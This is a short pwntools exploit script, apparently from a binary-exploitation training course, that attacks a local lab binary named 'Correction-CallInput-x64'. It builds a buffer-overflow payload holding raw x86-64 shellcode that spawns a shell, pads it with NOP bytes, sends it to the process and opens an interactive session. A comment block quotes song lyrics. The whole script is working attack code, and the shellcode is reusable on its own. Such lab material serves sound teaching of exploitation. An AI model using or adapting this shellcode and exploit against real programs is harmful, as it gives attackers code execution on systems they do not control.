# +------------------------------------------------+
# | Atack: Call Input                              |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare

from pwn import *
import time
import sf

target = process("./Correction-CallInput-x64")
gdb.attach(target)

bof_payload = sf.BufferOverflow(arch=64)

bof_payload.set_input_start(0x0)
bof_payload.add_bytes(0x0, b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")
bof_payload.set_default_byte(b"\x90")
payload = bof_payload.generate_payload()
target.sendline(payload)


target.interactive()

# +------------------------------------------------+
# | Artist: Slipknot                               |
# +------------------------------------------------+
# | Song: Spiders                                  |
# +------------------------------------------------+
# | Spiders crawling                               |
# | side by side                                   |
# +------------------------------------------------+

